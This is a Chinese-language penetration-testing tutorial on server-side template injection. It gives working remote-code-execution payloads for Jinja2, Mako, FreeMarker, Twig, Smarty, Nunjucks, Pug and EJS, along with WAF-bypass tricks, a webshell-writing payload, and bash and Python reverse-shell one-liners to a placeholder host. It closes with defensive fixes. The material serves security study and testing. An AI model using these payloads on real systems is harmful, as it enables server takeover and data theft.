1. 项目概述:从“渲染”到“接管”的惊险一跃
如果你是一名Web安全研究员或者渗透测试工程师,那么“SSTI”这个词对你来说一定不陌生。它就像一个隐藏在华丽舞台幕布后的暗门,表面上,网站通过模板引擎将数据和页面结构优雅地结合,呈现给用户动态、个性化的内容;背地里,这个结合过程如果存在疏漏,就可能让攻击者获得一把打开服务器后门的钥匙。SSTI,全称Server-Side Template Injection,即服务端模板注入。它远不止是一个简单的“注入”漏洞,其危害性常常被低估。一个成功的SSTI利用,可以直接导致远程代码执行,这意味着攻击者能像管理员一样在服务器上执行任意命令,读取敏感文件,甚至横向移动控制整个内网。
为什么SSTI如此危险?核心在于“信任”。模板引擎被设计用来安全地混合不可信的用户数据和可信的模板代码。开发者信任模板引擎会做好隔离。但当用户输入被直接拼接进模板语句,这份信任就被打破了。攻击者注入的就不再是普通数据,而是具有执行能力的模板指令。更棘手的是,SSTI的利用方式高度依赖于后端使用的模板引擎,比如Jinja2(Python)、Twig(PHP)、Freemarker/Thymeleaf(Java)、Smarty(PHP)等,每种引擎的语法、内置函数、安全机制都不同,这使得漏洞的检测和利用充满了挑战和“解谜”的乐趣。
本篇文章,我将结合自己多年在渗透测试和红队评估中的实战经验,为你系统性地拆解SSTI。我们不会停留在概念层面,而是深入引擎内部,剖析不同语言环境下模板渲染的机制,手把手教你如何从零开始挖掘、识别、验证并最终利用SSTI漏洞。无论你是刚入门的安全爱好者,还是想深化Web攻防技能的从业者,这篇超过5000字的深度解析,都将为你提供一套清晰的思路和实用的工具箱。
2. SSTI核心原理与利用分类深度解析
要理解SSTI,必须先吃透模板引擎的工作原理。你可以把模板引擎想象成一个“智能打印机”。模板文件是预设好的文稿格式(比如“尊敬的{name}用户,您的订单号是{order_id}”),而模板数据就是填充进去的具体内容(name=“张三”,order_id=“12345”)。引擎的工作就是读取模板,找到其中的占位符(变量、表达式),然后用传入的数据替换它们,最终生成一份完整的HTML(或其他格式)文档,发送给用户的浏览器。
2.1 漏洞产生的根源:数据与代码的边界模糊化
安全的模板渲染流程是:用户可控数据 -> 视为纯文本/值 -> 填充到模板变量位置 -> 渲染输出。在这个过程中,用户数据始终被当作“值”来处理。
漏洞产生的流程则是:用户可控数据 -> 被拼接到模板语句中 -> 引擎将其解析为模板语法的一部分 -> 执行渲染。这里发生了本质变化:数据“越界”成了代码。
举个例子,一个Python Flask应用使用Jinja2模板:
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/greet') def greet(): name = request.args.get('name', 'Guest') # 危险操作:直接将用户输入拼接进模板 template = "<h1>Hello, " + name + "!</h1>" return render_template_string(template)当用户访问/greet?name=World时,一切正常,模板是<h1>Hello, World!</h1>。但如果攻击者输入{{7*7}},模板就变成了<h1>Hello, {{7*7}}!</h1>。render_template_string会执行模板渲染,Jinja2引擎会识别{{...}}为表达式,计算7*7得到49,最终输出<h1>Hello, 49!</h1>。这就完成了一次最简单的SSTI检测。
2.2 利用分类:从信息泄露到命令执行
根据用户输入插入位置的不同,SSTI通常分为两类,这直接影响了漏洞检测的难度和利用方式。
2.2.1 直接模板注入(Plaintext Context)
这是最理想的情况。用户输入直接出现在模板语句的“代码区”。就像上面的例子,输入被直接放在HTML标签之间。检测非常简单,注入普通的模板语法表达式(如{{7*7}}、${7*7}、<%= 7*7 %>取决于引擎)即可。如果返回页面中计算结果(49)替代了原表达式,几乎可以断定存在SSTI。
2.2.2 代码上下文注入(Code Context)
这种情况更隐蔽,也更常见。用户输入被放置在模板原本的变量或参数位置,但该位置本身被包裹在模板语法中。例如:
# 假设模板内容为:<h1>Hello, {{ username }}!</h1> # 而username来自用户输入 username = request.args.get('user') template = “<h1>Hello, {{ “ + username + “ }}!</h1>” # 错误示例,实际中模板通常从文件加载这里,开发者本意是让用户控制username这个变量的值。但如果攻击者输入}} {{7*7}} {#,最终拼接的模板会变成:<h1>Hello, {{ }} {{7*7}} {# }}!</h1>
}}闭合了原来的{{。{{7*7}}是我们注入的表达式。{#是Jinja2的注释开始标记,它注释掉了后面多余的}},避免语法错误。 这样,我们同样执行了表达式。在代码上下文中,攻击者需要先“逃逸”出原有的语法结构,构造一个合法的新模板语句。
实操心得:在实际黑盒测试中,你无法看到后端模板源码。因此,你需要系统地尝试各种闭合符号。对于基于
{{...}}的引擎,尝试}}、}}%、}}#等;对于基于<%=...%>的引擎,尝试%>。同时结合注释语法(如{#、<!--、//)来吞掉尾部多余的代码,这是一个“试错+推断”的过程。
3. 主流语言模板引擎特性与攻击载荷剖析
这是SSTI利用中最具技术含量的一环。识别出存在注入后,你必须判断后端用的是哪种模板引擎。不同引擎的沙箱机制、内置对象、函数调用方式天差地别。下面我将梳理几大主流语言中常见引擎的指纹识别方法和攻击链条。
3.1 Python - Jinja2 / Mako / Tornado
Jinja2是Python生态中最流行的模板引擎,Flask、Django(也可使用)等框架常用。
- 指纹识别:注入
{{7*‘7’}}。Jinja2中,‘7’*7会得到‘7777777’(字符串重复),而其他引擎可能报错或返回其他结果。 - 攻击链条:Jinja2的沙箱并不绝对安全,其目标是隔离,而非完全不可逃逸。核心目标是获取到
__builtins__或os模块。- 获取内置类:所有对象都继承自
object类。通过类的继承链(__mro__、__subclasses__)可以找到危险的内置类。 - 常用Payload:
# 获取所有子类,寻找可用的类(如 catch_warnings, subprocess.Popen) {{ “”.__class__.__mro__[1].__subclasses__() }} # 找到subprocess.Popen类并执行命令(需知道索引号) {{ “”.__class__.__mro__[1].__subclasses__()[索引号]([‘whoami’], shell=True, stdout=-1).communicate()[0] }} # 另一种方式,通过__builtins__导入os {{ config.__class__.__init__.__globals__[‘os’].popen(‘id’).read() }}注意事项:Jinja2某些版本或配置下,会禁用一些危险属性(如
__globals__)。你需要灵活变通,例如利用request对象(在Flask中)或通过url_for、get_flashed_messages等函数的__globals__属性进行跳转。
- 获取内置类:所有对象都继承自
Mako是另一款高性能Python模板引擎,语法简洁。
- 指纹识别:注入
${7*7},计算并回显。 - 攻击链条:Mako的模板直接支持Python代码块(
<% ... %>),限制更少。
或者直接利用内置的<% import os x=os.popen(‘whoami’).read() %> ${x}self、context对象:${self.module.cache.util.os.system(“id”)}
3.2 Java - FreeMarker / Velocity / Thymeleaf
FreeMarker在企业级Java应用中非常普遍。
- 指纹识别:注入
${7*7}或<#assign x=7*7>${x}。 - 攻击链条:FreeMarker有“内建函数”概念,但新版沙箱较严格。经典攻击利用
new内建函数创建任意Java对象。
或者利用<#assign ex=“freemarker.template.utility.Execute”?new()> ${ ex(“whoami”) }ObjectConstructor:${“freemarker.template.utility.ObjectConstructor”?new()(“java.lang.ProcessBuilder”, [“whoami”]).start()}避坑技巧:Java环境下的利用受限于Java安全管理器。如果目标应用权限限制严格(如禁止执行进程),上述Payload可能失败。此时可以转向文件读取、反序列化等利用链。例如,利用
ClassLoader读取系统文件:${“java.lang.Class”?forName(“java.io.BufferedReader”)?new(“java.io.InputStreamReader”?new(“java.lang.ProcessBuilder”?new([“cat”, “/etc/passwd”])?start()?getInputStream()))?readLine()}。这条链虽然复杂,但能绕过一些限制。
Velocity和Thymeleaf的利用思路类似,都是寻找执行命令或访问危险API的途径。Thymeleaf在Spring Boot中常见,其表达式语言(SpEL)在特定版本(如Spring Boot 1.x的某些版本)中可能存在RCE,但通常需要结合其他漏洞(如路径遍历导致模板文件可控)。
3.3 PHP - Twig / Smarty / Blade
Twig(Symfony框架标配)和Smarty是PHP两大主流引擎,都具备较强的沙箱功能。
Twig指纹识别:注入
{{7*7}}。Twig攻击链条:现代Twig沙箱很难直接RCE。常见思路是寻找暴露了
_self的环境,并调用其env属性的方法。但更实际的利用往往是信息泄露或有限的文件操作。{{ _self.env.setCache(“/tmp/evil”) }} {# 可能存在的缓存路径控制 #} {{ _self.env.getFilter(‘system’)(‘id’) }} {# 旧版本或错误配置下可能有效 #}在实践中,Twig的SSTI更多用于读取敏感上下文变量,如
{{app.request.headers}}、{{app.request.server}}来获取服务器信息,为后续攻击做准备。Smarty指纹识别:注入
{7*7},注意它使用花括号。Smarty攻击链条:Smarty允许注册自定义函数。如果存在配置问题,可能利用
{system(‘id’)}或{php}echoid;{/php}(需要开启{php}标签,默认关闭)。新版本中,利用{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,”<?php passthru($_GET[‘cmd’]); ?>”,self::clearConfig())}这样的Payload来写Webshell是一种思路,但依赖特定条件。
3.4 JavaScript - Node.js (Nunjucks / Pug / EJS)
Node.js生态的模板引擎通常沙箱更弱,甚至没有。
Nunjucks(Jinja2的JS移植版):利用方式与Jinja2高度相似,通过原型链污染和子类查找。
{{ “”.constructor.constructor(“return global.process.mainModule.require(‘child_process’).execSync(‘whoami’)”)() }}这行Payload利用了从字符串对象追溯到
Function构造器,然后构造一个函数来执行任意JS代码。Pug(原名Jade):旧版本中,如果模板内容用户可控,可以直接嵌入JS代码。
- var x = global.process.mainModule.require(‘child_process’).execSync(‘whoami’) p= x但新版本在默认编译选项中增加了安全限制。
EJS:在特定版本和配置下,如果
client选项为true且用户输入被直接用作模板,可能导致RCE。<%= global.process.mainModule.require(‘child_process’).execSync(‘whoami’) %>
核心排查思路:无论面对哪种引擎,利用链的构建都遵循一个通用模式:从模板内可访问的默认对象或变量出发 -> 通过对象的属性或方法(如
__class__、constructor、prototype)向上或向下追溯 -> 找到能够执行系统命令、读写文件或导入危险模块的类/函数 -> 调用它并传递参数。这要求测试者对目标语言的原型链、命名空间、模块系统有深入理解。
4. 实战挖掘:从黑盒模糊测试到白盒代码审计
知道了原理和Payload,如何在真实世界里找到SSTI漏洞?我将其分为黑盒、灰盒、白盒三条路径。
4.1 黑盒模糊测试:主动探测与指纹识别
当你只有一个目标URL时,这是主要手段。
寻找注入点:任何将用户输入渲染到页面的地方都值得怀疑。
- 参数:URL参数(
?q=)、POST表单数据、Cookie、Headers(如User-Agent,X-Forwarded-For)。 - 文件路径:某些应用会将文件名或路径部分作为模板名加载(如
/page/{{user_input}})。 - 个性化内容:个人资料页、订单详情页、评论预览等,这些地方常拼接用户名、邮件、标题等。
- 参数:URL参数(
系统性探测:
- 步骤一:基础探测。向所有可疑参数提交通用的探测Payload,观察响应差异。
同时提交一个纯数字{{7*7}} ${7*7} <%= 7*7 %> {7*7} [[7*7]]49作为对照。如果页面中出现了49而非原字符串,强疑似SSTI。 - 步骤二:引擎识别。根据上一步的响应,使用引擎特有的探测Payload。
引擎 探测Payload 预期响应(若存在) Jinja2 {{‘7’*7}}7777777Twig {{‘7’*7}}7777777Freemarker ${‘7’*7}可能报错(类型不匹配)或 7777777(旧版)Velocity #set($x=7*7)页面可能无回显,但后续 $x可用Smarty {‘7’*7}或{if 1}test{/if}7777777或出现testPug/Jade #{7*7}可能被渲染 - 步骤三:上下文判断。如果基础Payload无回显,尝试闭合Payload。
- 对于
{{...}}上下文,尝试}}test{{7*7}}{#。 - 对于
<%=...%>上下文,尝试%>test<%=7*7%><!--。 观察页面中是否出现test49或类似结构。
- 对于
- 步骤一:基础探测。向所有可疑参数提交通用的探测Payload,观察响应差异。
利用工具辅助:使用
tplmap或SSTI扫描器(如集成在Burp Suite的插件)可以自动化这个过程。但工具并非万能,尤其是对于代码上下文注入或冷门引擎,手动测试和思维更重要。
4.2 白盒代码审计:精准定位与链式挖掘
如果你能接触到源代码,挖掘效率和深度将极大提升。
定位模板渲染函数:在不同语言框架中搜索关键函数/方法。
语言/框架 危险函数/模式 Python Flask render_template_string(),flask.render_template_string()Python Django django.template.Template(),render_to_string()(如果用户输入作为模板名的一部分)Java Spring new TemplateEngine().process(),ThymeleafView相关处理PHP Twig $twig->render(),$twig->createTemplate()(尤其危险!)Node.js res.render(view, data)其中view或data可控;ejs.render()跟踪数据流:从用户输入源(如
request.getParameter(),$_GET[‘q’])开始,跟踪该变量是否未经充分过滤或编码,最终传递到了上述的模板渲染函数中。重点关注字符串拼接操作(+,.,concat)。审计模板文件:检查模板文件(
.html,.j2,.ftl,.twig等)中是否存在不安全的变量引用或包含。例如,在Jinja2中,{% include user_input %}或{% from user_input import * %}都是极度危险的。
实操心得:白盒审计时,不要只盯着“渲染”函数。有时漏洞产生于“二次渲染”。例如,一个内容管理系统(CMS)允许用户上传自定义模板文件,这个文件在后端又被主模板引擎渲染。这时,即使主引擎安全,用户可控的模板文件内容却可能包含恶意指令。这种“模板中的模板”问题非常隐蔽。
4.3 灰盒测试:结合有限信息进行推理
介于两者之间,你可能拥有部分信息,比如通过报错信息、响应头(如X-Powered-By: Express)、Cookie名称(如PHPSESSID)或静态资源路径(如/static/js/twig.js)推断出技术栈。利用这些信息,你可以更有针对性地选择Payload,提高测试效率。
5. 高效利用工具与手动验证流程
工欲善其事,必先利其器。在SSTI测试中,手动与工具的结合至关重要。
5.1 核心工具介绍
tplmap:这是SSTI测试的“瑞士军刀”。它不仅能自动检测引擎类型,还能在确认漏洞后,自动利用并获取一个交互式Shell(类似SQLmap)。其强大之处在于内置了多种引擎的利用链。
python tplmap.py -u ‘http://target.com/page?name=*’使用
--os-shell参数尝试获取操作系统shell。但tplmap在面对复杂WAF或非常规编码时可能失效,需要手动调整Payload。Burp Suite + 自定义插件/Scanner Checks:Burp的主动扫描器可以配置SSTI检测规则。但更高效的是使用如“SSTI Detection”这类社区插件,或自己编写Intruder攻击载荷集,系统性地发送探测Payload并比对响应。
浏览器插件 & 手工测试台:像“HackBar”或“Cookie Editor”这类插件,方便你快速修改参数并重放请求。同时,在本地搭建一个包含各种模板引擎的测试环境(一个简单的Docker容器即可),用于验证Payload的有效性和理解引擎行为,是进阶学习的必备。
5.2 手动验证与利用标准化流程
即使使用工具,手动验证也是确保结果准确的关键。我推荐以下流程:
- 探测与确认:使用第4.1节的探测Payload,确认漏洞存在及引擎类型。
- 信息收集:尝试利用漏洞读取应用上下文信息,为后续利用铺路。
- Jinja2:
{{ config }}、{{ request.environ }} - Twig:
{{ _self }}、{{ app.request.server.all }} - 这步可以帮你了解服务器路径、环境变量、其他可能的内置对象。
- Jinja2:
- 尝试执行命令:使用针对该引擎的RCE Payload。务必从无害命令开始,如
whoami、id、ping -c 1 your-collaborator-domain.com(用于带外检测)。 - 建立持久化访问:如果命令执行成功,考虑上传Webshell或反弹Shell。
- 上传Webshell:利用写文件功能。例如,在Jinja2中,如果找到
open函数:{{ lipsum.__globals__.__builtins__.open(‘/var/www/html/shell.php’, ‘w’).write(‘<?php @eval($_POST[cmd]);?>’) }}。 - 反弹Shell:使用
bash -c ‘bash -i >& /dev/tcp/your-ip/port 0>&1’或python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“your-ip”,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’。注意编码和引号转义。
- 上传Webshell:利用写文件功能。例如,在Jinja2中,如果找到
- 权限提升与横向移动:获得初始立足点后,进行标准的后渗透操作。
5.3 绕过WAF/过滤的常用技巧
现实中的目标往往部署了WAF,它们会拦截常见的{{、}}、os、system等关键词。
字符串拼接与编码:
{{‘o’+’s’}}->os{{request[‘application’][‘__globals__’][‘__builtins__’][‘__import__’](‘o’+’s’)}}- 使用Hex编码:
{{‘\x6f\x73’}}(os) - 使用Base64编码,并通过模板函数解码(如果可用):
{{‘b3M=’|b64decode}}(os)
属性访问替代:使用
[]代替.。{{config.__class__}}可写为{{config[“__class__”]}}
利用未过滤的内置函数或对象:WAF规则可能不完善。尝试使用不那么常见的函数,如
popen、subprocess、exec,或者通过__builtins__动态获取。注释符干扰:在Payload中插入无关的注释或空白符,可能绕过简单的正则匹配。
{{ 7 * 7 }}、{{7*7}}、{{7*7 }}、{{7*7}}
研究引擎特性:某些引擎有特殊的语法可以绕过简单过滤。例如,在Jinja2中,可以使用
|attr()过滤器来访问属性:{{config|attr(“__class__”)}}。
6. 防御之道:开发者视角的根治方案
作为攻击者,我们挖掘漏洞;但作为安全从业者,我们更应知道如何修复和预防。给开发者的建议永远是“白名单”优于“黑名单”。
根本方法:严格隔离数据与代码。绝对不要将用户输入直接拼接进模板字符串。使用模板引擎提供的安全方式传递变量。
- 正确示例(Flask):
在# 安全:将数据作为变量传入 return render_template(‘greet.html’, name=username)greet.html中安全引用:<h1>Hello, {{ name }}!</h1>
- 正确示例(Flask):
使用“沙箱化”的模板引擎,并启用所有安全特性。例如,Jinja2的
SandboxedEnvironment,Twig的沙箱模式。但要知道,沙箱并非绝对安全,历史上多次被绕过。对用户输入进行严格的上下文相关编码。如果用户输入必须作为模板的一部分(这种情况应尽量避免),应对其进行严格的HTML编码、JS编码等,确保其始终被解释为文本,而非代码。
静态模板文件:尽可能使用静态模板文件,避免动态生成模板内容。
代码审查与自动化扫描:在代码审查中,将模板渲染函数的使用作为重点检查项。在CI/CD流程中集成SAST(静态应用安全测试)工具,自动检测潜在的SSTI漏洞模式。
WAF作为最后防线:虽然WAF可以被绕过,但它可以阻挡大量自动化攻击和低技能攻击者。配置规则拦截常见的模板语法模式。
SSTI漏洞的挖掘和利用,是一场关于“理解”的博弈。你需要理解模板引擎如何工作,理解应用如何处理数据,理解防御机制如何部署。它没有SQL注入那样直接的“万能钥匙”,却因其与业务逻辑的深度结合而更具挑战性和潜在价值。每一次成功的SSTI利用,都像是对目标应用内部运作机制的一次完美逆向工程。